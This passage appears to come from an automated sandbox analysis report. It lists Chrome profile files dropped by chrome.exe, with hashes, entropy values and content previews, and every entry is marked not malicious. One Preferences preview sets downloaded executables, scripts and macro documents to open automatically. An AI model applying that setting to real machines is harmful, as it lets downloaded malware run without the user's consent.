acement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"co
untryid_at_install":21843,"data_reduction":{"daily_original_length":["0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0"
,"0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","7355378"],"daily_received_length":["0","0","0","0","0","0","0","

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text, with very long lines, with no line terminators

Category: dropped

Size (bytes): 4873

Entropy (8bit): 4.960047086455847

Encrypted: false

SSDEEP: 48:Yc9UklSLklwHj2c9qA0iqTlYqlQKHoTw0KH3CH3G/s8C1Nfct/9BhUJo3KhmeSnz:n9CBML1pcKIqok0JCKL8VbOTQVuwn

MD5: 0D5320310AA57BD9BD0B96F59A835D6E

SHA1: 63AFA6621B89DEED79E883EEEBEABB49C607A0CF

SHA-256: 398CE6E448D93808D837886425445406F78FE1F0563B6A684EABDCD286473E3F

SHA-512: 26E5791ECBEA57EDBAAF6A975681C52E80481849432B2C912651CC2C3345C50E92905DF32D48666B777C68A036C46D0E4E24E967DFD9D2CCA41FE041EBD2181
4

Malicious: false

Preview: {"account_id_migration_state":2,"account_tracker_service_last_update":"13296958802642516","alternate_error_pages":{"backup":true},"announcement_notification_ser
vice_first_run_time":"13245951485614034","autocomplete":{"retention_policy_last_version":85},"autofill":{"orphan_rows_removed":true},"browser":{"default_browser
_infobar_last_declined":"13245951692116406","has_seen_welcome_page":true,"navi_onboard_group":"","should_reset_check_default_browser":false,"window_pl
acement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"co
untryid_at_install":21843,"data_reduction":{"daily_original_length":["0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0"
,"0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","7355378"],"daily_received_length":["0","0","0","0","0","0","0","

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text, with very long lines, with no line terminators

Category: modified

Size (bytes): 2176

Entropy (8bit): 4.901826212954112

Encrypted: false

SSDEEP: 48:Y2TntwCXGDH3qyvz5sS4GsSzTDsS8RLsS+SVzssS1RsS1MHsbD:JTnOCXGDHa+z54o3L8xx1G1x1GsH

MD5: 3C41C8F80E23CEB2ED71591FA9F6C823

SHA1: 2AEC1C1A2D92B72EDEF031294B10BD533BB1EB11

SHA-256: A8821AD1E41E545BA405F96752834DF702D479F9DD782E03C35C4A3E08CDF081

SHA-512: 3F643EE1D1B4C208A51084CF26D447C0F9CF3F2D590678BAB7B7F8BA2D38585CB10F73A8298FAA13DD01E38455EAF44C740A3C89E2828D8FADC38565E758298
7

Malicious: false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\51854940-e079-4705-8722-e614d8e53d54.tmp

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\66d9f770-8575-4e09-9098-071537ad1189.tmp

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\8882fa07-92a2-44f6-9aac-b84de0df66e4.tmp
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Preview: {"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://www.gstatic.com","supports_spdy":true},{"isolation":[],"server":"https://www.google.com","s
upports_spdy":true},{"isolation":[],"server":"https://ssl.gstatic.com","supports_spdy":true},{"isolation":[],"server":"https://fonts.gstatic.com","supports_spdy":true},{"isolation":
[],"server":"https://apis.google.com","supports_spdy":true},{"isolation":[],"server":"https://play.google.com","supports_spdy":true},{"isolation":[],"server":"https://ogs.google.c
om","supports_spdy":true},{"isolation":[],"server":"https://www.googleapis.com","supports_spdy":true},{"isolation":[],"server":"https://clients2.googleusercontent.com","s
upports_spdy":true},{"isolation":[],"server":"https://dns.google","supports_spdy":true},{"alternative_service":[{"advertised_versions":[50],"expiration":"1329955080946684
5","port":443,"protocol_str":"quic"}],"isolation":[],"server":"https://redirector.gvt1.com"},{"alternative_service":[{"advertised_

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text, with very long lines, with no line terminators

Category: dropped

Size (bytes): 5190

Entropy (8bit): 4.9953027001366515

Encrypted: false

SSDEEP: 96:n9C3OL1pcKIqok0JCKL8dkwhWbOTQVuwn:n9Cc1pcP4K8kwe

MD5: E1E5F86EC181F811600A5E85BFEB1C09

SHA1: 95905BF4229EBC8A04CB7255881A2EE7B6451F01

SHA-256: DA5506C733E70B3519B63D95ADBE99774E151A2C361E54663C0FB5189E6D3B6C

SHA-512: 9FFC8D34229FB95C1BDD66A1C392524E260658139A0501DEEB79E016C66CBEFDFD3B8E587718045A36C2FC0868AC8E74F2D7D4EDBDD951877757E523E98F855
F

Malicious: false

Preview: {"account_id_migration_state":2,"account_tracker_service_last_update":"13296958802642516","alternate_error_pages":{"backup":true},"announcement_notification_ser
vice_first_run_time":"13245951485614034","autocomplete":{"retention_policy_last_version":85},"autofill":{"orphan_rows_removed":true},"browser":{"default_browser
_infobar_last_declined":"13245951692116406","has_seen_welcome_page":true,"navi_onboard_group":"","should_reset_check_default_browser":false,"window_pl
acement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"co
untryid_at_install":21843,"data_reduction":{"daily_original_length":["0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0"
,"0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","7355378"],"daily_received_length":["0","0","0","0","0","0","0","

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text, with very long lines, with no line terminators

Category: dropped

Size (bytes): 11217

Entropy (8bit): 6.069602775336632

Encrypted: false

SSDEEP: 192:GbylJnlTwGB7V9Hne4qasKxXItmLG48gcLg/PkI:Gb+nldByaFx4toj8VEPT

MD5: 90F880064A42B29CCFF51FE5425BF1A3

SHA1: 6A3CAE3996E9FFF653A1DDF731CED32B2BE2ACBF

SHA-256: 965203D541E442C107DBC6D5B395168123D0397559774BEAE4E5B9ABC44EF268

SHA-512: D9CBFCD865356F19A57954F8FD952CAF3D31B354112766C41892D1EF40BD2533682D4EC3F4DA0E59A5397364F67A484B45091BA94E6C69ED18AB681403DFD3F3

Malicious: false

Preview: {"file_hashes":[{"block_hashes":["A+1PYW3V6CJbBuQ7aqrgYhyH3bT8PKyBXp3hN2slpI0=","WSOpQRkYTHjPSlG9Zif2a7TNhy43NDcG1Zg5Nv0UbH0=","jDctR8ImG5KZ
rQKm4kDjUB7FokSJfjo/pmvFowRVlaY=","LPxhhJiuU0lprt0T6flpS7TkaDg7MocrbmzO65xH6RI=","nZ9zLb2By96AkKXALRM+C0Eu11XUjPiMXEKjiCPdtHE=","w
ifibc1QfMBN2jrtUtLgsCefvuceTpAatmLvul11RJA=","dHjWlSIIdjj7MWqg3T8MG58RuuqRXk32vqi/13JqEgA=","zd3DV7dbvfNvx1hdhU01fW5ily52DLN0CFL/ADaEeTI=","
DpjXcO85FFFY9KJFPkGNfFUtdQIOsGwO5jUckiUwY14=","gqid6l1+mk/6yWgUECRofI9lMipXgXh2jEN2+CxmPE0=","prDB91X2Mmfg/M/txVMITWBmEGbOGjqBTP7C
MjYqdHs=","yLPAqV4gqoyS/zFkEt3Cn2j0q2v9QOSthVFfWn8EzCM=","EPQ3jzdrLkAHyvf3920B5Y3aAkO1IJdn/UtbnAmq6T0=","+oOc6ca+ChKUpTu+oa2ZRxRE+
wG3QJmuYWEvYCs40NI=","3mBGNAiRlTANEQkqzU3TEi+5wJ0ubR5uwtS4/9OOM7w=","1A9NNawxuhu95H5eThvf1rewJ4QQWhhPNxJXO1C/n68=","E3vW
LQxzmj+e5QxYbUscllJ5n0ITpw5JBHV1Kph3/KM=","i3I8ghdTF9c1ZXNBZmvsID+DV4gxBVN27rj9wsMtRpg=","R8B8qYabnMSlLPhrtu0hGYrHn3llsMHqBbi70gkIjEE=","rhl
zuEvv2KRAFMms896xFwkNgPrw6WvmgPn6xrBSa2Y=","LAMXv6sRb0VZrY34aVXF3Fftxs

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: data

Category: dropped

Size (bytes): 38

Entropy (8bit): 1.8784775129881184

Encrypted: false

SSDEEP: 3:FQxlXNQxlX:qTCT

MD5: 51A2CBB807F5085530DEC18E45CB8569

SHA1: 7AD88CD3DE5844C7FC269C4500228A630016AB5B

SHA-256: 1C43A1BDA1E458863C46DFAE7FB43BFB3E27802169F37320399B1DD799A819AC

SHA-512: B643A8FA75EDA90C89AB98F79D4D022BB81F1F62F50ED4E5440F487F22D1163671EC3AE73C4742C11830214173FF2935C785018318F4A4CAD413AE4EEEF985DF

Malicious: false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\9e400345-6eaa-4358-bc13-536cdbbf0030.tmp

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_metadata\comput

ed_hashes.json

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Feature Engagement Tracker\AvailabilityDB\000003.log
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Preview: .f.5................f.5...............

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text

Category: dropped

Size (bytes): 372

Entropy (8bit): 5.259368350099691

Encrypted: false

SSDEEP: 6:AFrzTmq2PWXp+N23iKKdK25+Xqx8chI+IFUtqVfFrzTXUmZmwYVfFrzTXQkwOWXc:AJTmva5KkTXfchI3FUtiJTF/IJTg5f5G

MD5: 20FEEEDEDB2302BF66976E6E3B2F82AE

SHA1: F9992EAF317B757FDE2019E2D3E8182ED09824A0

SHA-256: 08DBF85B7613E3C44BEF672DC4B386C036C22FAA72FB96C67174BA3097E7DB88

SHA-512: 5C49A2F11A1D3401AFE11285539C9D4F09A2915271B965F30A17E542E43D11CB06C45DF22F269B74DF58006F6CDB2535DE0321A6B6A28F7EC6930F6B0762B9D1

Malicious: false

Preview: 2022/05/13-16:40:13.618 1ac4 Reusing MANIFEST C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Feature Engagement Tracker\AvailabilityDB/MA
NIFEST-000001.2022/05/13-16:40:13.623 1ac4 Recovering log #3.2022/05/13-16:40:13.624 1ac4 Reusing old log C:\Users\user\AppData\Local\Google\Chrome\User 
Data\Default\Feature Engagement Tracker\AvailabilityDB/000003.log .

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text

Category: dropped

Size (bytes): 372

Entropy (8bit): 5.259368350099691

Encrypted: false

SSDEEP: 6:AFrzTmq2PWXp+N23iKKdK25+Xqx8chI+IFUtqVfFrzTXUmZmwYVfFrzTXQkwOWXc:AJTmva5KkTXfchI3FUtiJTF/IJTg5f5G

MD5: 20FEEEDEDB2302BF66976E6E3B2F82AE

SHA1: F9992EAF317B757FDE2019E2D3E8182ED09824A0

SHA-256: 08DBF85B7613E3C44BEF672DC4B386C036C22FAA72FB96C67174BA3097E7DB88

SHA-512: 5C49A2F11A1D3401AFE11285539C9D4F09A2915271B965F30A17E542E43D11CB06C45DF22F269B74DF58006F6CDB2535DE0321A6B6A28F7EC6930F6B0762B9D1

Malicious: false

Preview: 2022/05/13-16:40:13.618 1ac4 Reusing MANIFEST C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Feature Engagement Tracker\AvailabilityDB/MA
NIFEST-000001.2022/05/13-16:40:13.623 1ac4 Recovering log #3.2022/05/13-16:40:13.624 1ac4 Reusing old log C:\Users\user\AppData\Local\Google\Chrome\User 
Data\Default\Feature Engagement Tracker\AvailabilityDB/000003.log .

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: data

Category: dropped

Size (bytes): 1793

Entropy (8bit): 6.113398440762694

Encrypted: false

SSDEEP: 48:8WQLHwXCr0sc5nSw15FzBA033nzGLYPeSj:nQLQXrTSK5FzBHSjSj

MD5: 503F8267A87B306D982A5219C106B5A3

SHA1: B52D9A51A94BA4890B181C39200A3C05452F1D30

SHA-256: B27663332D4978BAD6E33698C992A44882BB6C67D8DDC9872B81DFA3AA6C3EEC

SHA-512: 87056D8FA1A0A025F0D15964157E022FE4C5604F4AA014AC4CFD20EB473A5C09E53BB7FDDC127464CA74E53B260FA252ED0F179B17D4AFC24D3397BCDC2E3E
A6

Malicious: false

Preview: ............"......0072520589037..2..bbre..c..cktgwhlipeznkfu..com..desktop..file..fwdbqwky08stfag..user..html..ightxc2gqord3skr1up6ea..parxcasino..qlymtvjilazspz8eekrxf.
.rross..ud83d..udcde..users..vduqedclfbloayjtgmvxhkuxpi..zdlhndvkfgiojfixbc..ziqmodgtzitkqundnwuwsbroesrk*........0072520589037......2......bbre......c......cktgwhlipeznk
fu......com......desktop......file......fwdbqwky08stfag......user......html......ightxc2gqord3skr1up6ea......parxcasino......qlymtvjilazspz8eekrxf......rross......ud83d......udcde.
.....users......vduqedclfbloayjtgmvxhkuxpi......zdlhndvkfgiojfixbc... ..ziqmodgtzitkqundnwuwsbroesrk..2...#.....0.........1........2..........3..........5........6........7........8...........9.......
.a.............b............c...............d................e.................f.............g.............h.............i...............j..........k...............l.............m............n...........o...............p.............q............r...
............s..............

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text, with very long lines, with no line terminators

Category: dropped

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Feature Engagement Tracker\AvailabilityDB\LOG

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Feature Engagement Tracker\AvailabilityDB\LOG.old (copy)

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History Provider Cache

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network Persistent State (copy)
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Size (bytes): 2176

Entropy (8bit): 4.901826212954112

Encrypted: false

SSDEEP: 48:Y2TntwCXGDH3qyvz5sS4GsSzTDsS8RLsS+SVzssS1RsS1MHsbD:JTnOCXGDHa+z54o3L8xx1G1x1GsH

MD5: 3C41C8F80E23CEB2ED71591FA9F6C823

SHA1: 2AEC1C1A2D92B72EDEF031294B10BD533BB1EB11

SHA-256: A8821AD1E41E545BA405F96752834DF702D479F9DD782E03C35C4A3E08CDF081

SHA-512: 3F643EE1D1B4C208A51084CF26D447C0F9CF3F2D590678BAB7B7F8BA2D38585CB10F73A8298FAA13DD01E38455EAF44C740A3C89E2828D8FADC38565E758298
7

Malicious: false

Preview: {"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://www.gstatic.com","supports_spdy":true},{"isolation":[],"server":"https://www.google.com","s
upports_spdy":true},{"isolation":[],"server":"https://ssl.gstatic.com","supports_spdy":true},{"isolation":[],"server":"https://fonts.gstatic.com","supports_spdy":true},{"isolation":
[],"server":"https://apis.google.com","supports_spdy":true},{"isolation":[],"server":"https://play.google.com","supports_spdy":true},{"isolation":[],"server":"https://ogs.google.c
om","supports_spdy":true},{"isolation":[],"server":"https://www.googleapis.com","supports_spdy":true},{"isolation":[],"server":"https://clients2.googleusercontent.com","s
upports_spdy":true},{"isolation":[],"server":"https://dns.google","supports_spdy":true},{"alternative_service":[{"advertised_versions":[50],"expiration":"1329955080946684
5","port":443,"protocol_str":"quic"}],"isolation":[],"server":"https://redirector.gvt1.com"},{"alternative_service":[{"advertised_

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text, with very long lines, with no line terminators

Category: dropped

Size (bytes): 5190

Entropy (8bit): 4.9953027001366515

Encrypted: false

SSDEEP: 96:n9C3OL1pcKIqok0JCKL8dkwhWbOTQVuwn:n9Cc1pcP4K8kwe

MD5: E1E5F86EC181F811600A5E85BFEB1C09

SHA1: 95905BF4229EBC8A04CB7255881A2EE7B6451F01

SHA-256: DA5506C733E70B3519B63D95ADBE99774E151A2C361E54663C0FB5189E6D3B6C

SHA-512: 9FFC8D34229FB95C1BDD66A1C392524E260658139A0501DEEB79E016C66CBEFDFD3B8E587718045A36C2FC0868AC8E74F2D7D4EDBDD951877757E523E98F855
F

Malicious: false

Preview: {"account_id_migration_state":2,"account_tracker_service_last_update":"13296958802642516","alternate_error_pages":{"backup":true},"announcement_notification_ser
vice_first_run_time":"13245951485614034","autocomplete":{"retention_policy_last_version":85},"autofill":{"orphan_rows_removed":true},"browser":{"default_browser
_infobar_last_declined":"13245951692116406","has_seen_welcome_page":true,"navi_onboard_group":"","should_reset_check_default_browser":false,"window_pl
acement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"co
untryid_at_install":21843,"data_reduction":{"daily_original_length":["0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0"
,"0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","7355378"],"daily_received_length":["0","0","0","0","0","0","0","

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: UTF-8 Unicode text, with very long lines, with no line terminators

Category: dropped

Size (bytes): 19620

Entropy (8bit): 5.561281926525435

Encrypted: false

SSDEEP: 384:8RMt0LlnXXv1kXqKf/pUZNCgVLH2HfDPrUAsHGnNUeW42:2Llnv1kXqKf/pUZNCgVLH2HfbrUvGNlM

MD5: 3967EAA48AB3E93D792A77BEA380B9DB

SHA1: 2FF3C0E20F7ECE48D56BADE39B1A46BD5F10CE05

SHA-256: 2BE7DE783BB5779CBFC39144DBF5214B447A1548F77ABBDAD7171B048588C8FF

SHA-512: F5B7E0549E2630AA1F15B0405663FF98DC43102C5FD79F708C7F69DEE38F3CD19F478001FF1B8C89F1DBAD2EB343DB8F87FDA3756482060EA56E87B551E7CDC
F

Malicious: false

Preview: {"download":{"always_open_pdf_externally":true,"directory_upgrade":true,"extensions_to_open":"pdf:doc:docx:docxm:docm:xls:xlsx:xlsxm:xlsm:ppt:pptx:pptxm:pptm:mh
t:rtf:pub:vsd:mpp:mdb:dot:dotm:xlsb:xll:hwp:show:cell:hwpx:hwt:jtd:zip:iso:7z:rar:tar:vbs:js:jse:vbe:exe:html:htm:xhtml:tbz2:lz"},"extensions":{"settings":{"ahfgeienlihck
ogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network
"],"manifest_permissions":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"from_bookmark":false,"from_webstore":false,"i
ncognito_content_settings":[],"incognito_preferences":{},"install_time":"13296958801960939","location":5,"manifest":{"app":{"launch":{"web_url":"https://chrome.
google.com/webstore"},"urls":["https://chrome.google.com/webstore"]},"description":"Discover great apps, games, extensions and themes for Google Chrome.","icons":
{"128":"webstore_i

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text, with very long lines, with no line terminators

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Preferences (copy)

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Secure Preferences (copy)

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\gfdkimpbcpahaombhbimeihdjnejgicl\def\9b9bb0a8-e5e6-4831-90e8-

c6c5dec5a45d.tmp
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Category: dropped

Size (bytes): 420

Entropy (8bit): 4.985305467053914

Encrypted: false

SSDEEP: 6:YHpoNXR8+eq7JdV5qQlsDHF4xj70PpqQEsDHF4R8HLJ2AVQBR70S7PMVKJw1K3Ky:YHO8sdBsB6MAsBdLJlyH7E4f3K33y

MD5: C401B619D9D8E0ADABC25A47EE49CFBA

SHA1: C9D3B816DD3FBCD98E9C0A32CEC7B501EFC0BBDA

SHA-256: 8F5D75F5EF9876E8D30CE477509F735B50C4D87DBEDB433BE8EDBE6D4B3CB82F

SHA-512: BC12F16CB95CB0AD708C6BBD005EF863A8552613E612F1084086E0F8262752E1B5144D044F0D141CE8462CC33343C36B517A5CC778751680485D8F88FB51B862

Malicious: false

Preview: {"net":{"http_server_properties":{"servers":[{"alternative_service":[{"advertised_versions":[50],"expiration":"13248543490879170","port":443,"protocol_str":"quic"},{"adve
rtised_versions":[73],"expiration":"13248543490879171","port":443,"protocol_str":"quic"}],"isolation":[],"server":"https://dns.google","supports_spdy":true}],"version":5}
,"network_qualities":{"CAASABiAgICA+P////8B":"4G","CAESABiAgICA+P////8B":"4G"}}}

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: data

Category: dropped

Size (bytes): 270336

Entropy (8bit): 0.0012471779557650352

Encrypted: false

SSDEEP: 3:MsEllllkEthXllkl2zE:/M/xT02z

MD5: F50F89A0A91564D0B8A211F8921AA7DE

SHA1: 112403A17DD69D5B9018B8CEDE023CB3B54EAB7D

SHA-256: B1E963D702392FB7224786E7D56D43973E9B9EFD1B89C17814D7C558FFC0CDEC

SHA-512: BF8CDA48CF1EC4E73F0DD1D4FA5562AF1836120214EDB74957430CD3E4A2783E801FA3F4ED2AFB375257CAEED4ABE958265237D6E0AACF35A9EDE7A2E8898
D58

Malicious: false

Preview: ..............................................................................................................................................................................................................................................................................
..............................................................................................................................................................................................................................................................................
..............................................................................................................................................................................................................................................................................
..............................................................................................................................................................................................

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text, with very long lines, with no line terminators

Category: dropped

Size (bytes): 420

Entropy (8bit): 4.985305467053914

Encrypted: false

SSDEEP: 6:YHpoNXR8+eq7JdV5qQlsDHF4xj70PpqQEsDHF4R8HLJ2AVQBR70S7PMVKJw1K3Ky:YHO8sdBsB6MAsBdLJlyH7E4f3K33y

MD5: C401B619D9D8E0ADABC25A47EE49CFBA

SHA1: C9D3B816DD3FBCD98E9C0A32CEC7B501EFC0BBDA

SHA-256: 8F5D75F5EF9876E8D30CE477509F735B50C4D87DBEDB433BE8EDBE6D4B3CB82F

SHA-512: BC12F16CB95CB0AD708C6BBD005EF863A8552613E612F1084086E0F8262752E1B5144D044F0D141CE8462CC33343C36B517A5CC778751680485D8F88FB51B862

Malicious: false

Preview: {"net":{"http_server_properties":{"servers":[{"alternative_service":[{"advertised_versions":[50],"expiration":"13248543490879170","port":443,"protocol_str":"quic"},{"adve
rtised_versions":[73],"expiration":"13248543490879171","port":443,"protocol_str":"quic"}],"isolation":[],"server":"https://dns.google","supports_spdy":true}],"version":5}
,"network_qualities":{"CAASABiAgICA+P////8B":"4G","CAESABiAgICA+P////8B":"4G"}}}

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text, with very long lines, with no line terminators

Category: dropped

Size (bytes): 420

Entropy (8bit): 4.954960881489904

Encrypted: false

SSDEEP: 12:YHO8sdvBVSsB6M/BVSsBdLJlyH7E4f3K33y:YXsdvjX6gjXdL3yH7n/iy

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\gfdkimpbcpahaombhbimeihdjnejgicl\def\GPUCache\data_1

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\gfdkimpbcpahaombhbimeihdjnejgicl\def\Network Persistent State

(copy)

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\1a740594-65fd-4ef0-8aee-

c8eb20d41298.tmp
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MD5: F4FEFEEEC722772F9DC0FCE1B52D79B5

SHA1: 00EECFA3B37113D30E7D43BE4383C540F3D93D4D

SHA-256: D33E13C12004A700F246D8C73709114A881609D658E045D54DE36874728D07F0

SHA-512: 41E61EC89366800FD5F4DD704E53B47DE29411B9088B46349A0A350758D08569C14DCC70CF8D6A6FE6D049CB6D32F2B091153E8148A1B5857BD7AF13492071BE

Malicious: false

Preview: {"net":{"http_server_properties":{"servers":[{"alternative_service":[{"advertised_versions":[50],"expiration":"13248543498399332","port":443,"protocol_str":"quic"},{"adve
rtised_versions":[73],"expiration":"13248543498399332","port":443,"protocol_str":"quic"}],"isolation":[],"server":"https://dns.google","supports_spdy":true}],"version":5}
,"network_qualities":{"CAASABiAgICA+P////8B":"4G","CAESABiAgICA+P////8B":"4G"}}}

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: data

Category: dropped

Size (bytes): 270336

Entropy (8bit): 0.0012471779557650352

Encrypted: false

SSDEEP: 3:MsEllllkEthXllkl2zE:/M/xT02z

MD5: F50F89A0A91564D0B8A211F8921AA7DE

SHA1: 112403A17DD69D5B9018B8CEDE023CB3B54EAB7D

SHA-256: B1E963D702392FB7224786E7D56D43973E9B9EFD1B89C17814D7C558FFC0CDEC

SHA-512: BF8CDA48CF1EC4E73F0DD1D4FA5562AF1836120214EDB74957430CD3E4A2783E801FA3F4ED2AFB375257CAEED4ABE958265237D6E0AACF35A9EDE7A2E8898
D58

Malicious: false

Preview: ..............................................................................................................................................................................................................................................................................
..............................................................................................................................................................................................................................................................................
..............................................................................................................................................................................................................................................................................
..............................................................................................................................................................................................

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text, with very long lines, with no line terminators

Category: dropped

Size (bytes): 420

Entropy (8bit): 4.954960881489904

Encrypted: false

SSDEEP: 12:YHO8sdvBVSsB6M/BVSsBdLJlyH7E4f3K33y:YXsdvjX6gjXdL3yH7n/iy

MD5: F4FEFEEEC722772F9DC0FCE1B52D79B5

SHA1: 00EECFA3B37113D30E7D43BE4383C540F3D93D4D

SHA-256: D33E13C12004A700F246D8C73709114A881609D658E045D54DE36874728D07F0

SHA-512: 41E61EC89366800FD5F4DD704E53B47DE29411B9088B46349A0A350758D08569C14DCC70CF8D6A6FE6D049CB6D32F2B091153E8148A1B5857BD7AF13492071BE

Malicious: false

Preview: {"net":{"http_server_properties":{"servers":[{"alternative_service":[{"advertised_versions":[50],"expiration":"13248543498399332","port":443,"protocol_str":"quic"},{"adve
rtised_versions":[73],"expiration":"13248543498399332","port":443,"protocol_str":"quic"}],"isolation":[],"server":"https://dns.google","supports_spdy":true}],"version":5}
,"network_qualities":{"CAASABiAgICA+P////8B":"4G","CAESABiAgICA+P////8B":"4G"}}}

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text, with very long lines, with no line terminators

Category: dropped

Size (bytes): 2145

Entropy (8bit): 4.899783142743291

Encrypted: false

SSDEEP: 48:Y2TntwCXGDH3qyvz5sS4GsSzTDsS8RLsS+SVzssS1RsS1xbD:JTnOCXGDHa+z54o3L8xx1G1x1xH

MD5: 4FA4963B44B200A3BDBBF4A497037F92

SHA1: 9CCECFB5EDCBB765E4C1B2DC5413843C4448B641

SHA-256: BB8DD23EC72596E51368B033B6C7905CCE9CC3AAF7DA7ECAA88F7EB009AB5EDA

SHA-512: C19C83F115A2EB34BDE493C20898270157C8D5CA40A8A310A22BE5A92A5E2E4F49B532D582BC060346E4A17812711E15600A69014F4E0FF3DE1A6B31E0FB0384

Malicious: false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\GPUCache\data_1

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Network Persistent State

(copy)

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\bb5694a4-f670-4 e-b51c-2fa3e4a60ee5.tmp
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Preview: {"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://www.gstatic.com","supports_spdy":true},{"isolation":[],"server":"https://www.google.com","s
upports_spdy":true},{"isolation":[],"server":"https://ssl.gstatic.com","supports_spdy":true},{"isolation":[],"server":"https://fonts.gstatic.com","supports_spdy":true},{"isolation":
[],"server":"https://apis.google.com","supports_spdy":true},{"isolation":[],"server":"https://play.google.com","supports_spdy":true},{"isolation":[],"server":"https://ogs.google.c
om","supports_spdy":true},{"isolation":[],"server":"https://www.googleapis.com","supports_spdy":true},{"isolation":[],"server":"https://clients2.googleusercontent.com","s
upports_spdy":true},{"isolation":[],"server":"https://dns.google","supports_spdy":true},{"alternative_service":[{"advertised_versions":[50],"expiration":"1329955080946684
5","port":443,"protocol_str":"quic"}],"isolation":[],"server":"https://redirector.gvt1.com"},{"alternative_service":[{"advertised_

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text, with very long lines, with no line terminators

Category: dropped

Size (bytes): 4901

Entropy (8bit): 4.964650067845445

Encrypted: false

SSDEEP: 48:Yc9UklSLklwHjEcIqA0iqTlYqlQKHoTw0KH3CH3G/s8C1Nfct/9BhUJo3KhmeSnz:n9C3VL1pcKIqok0JCKL8VbOTQVuwn

MD5: 9544303372D76932E0C8A5B6D2128AD6

SHA1: F9F8B43D53EE33C62C59198F7967F7E859AEC8BA

SHA-256: F469BE8DF95F8CEFEDB262442CE8D24ACEB989763FA5482B6E7DA9D592FF55C5

SHA-512: D94FA5FFB324C071B53045F2E49116D92DA7C9355A2D83AE1B87DC963846FC8F551B8BAF3A0C91F76295BFBA4C195EC335033E77FF8A61B0FC24CEE711F6182
4

Malicious: false

Preview: {"account_id_migration_state":2,"account_tracker_service_last_update":"13296958802642516","alternate_error_pages":{"backup":true},"announcement_notification_ser
vice_first_run_time":"13245951485614034","autocomplete":{"retention_policy_last_version":85},"autofill":{"orphan_rows_removed":true},"browser":{"default_browser
_infobar_last_declined":"13245951692116406","has_seen_welcome_page":true,"navi_onboard_group":"","should_reset_check_default_browser":false,"window_pl
acement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"co
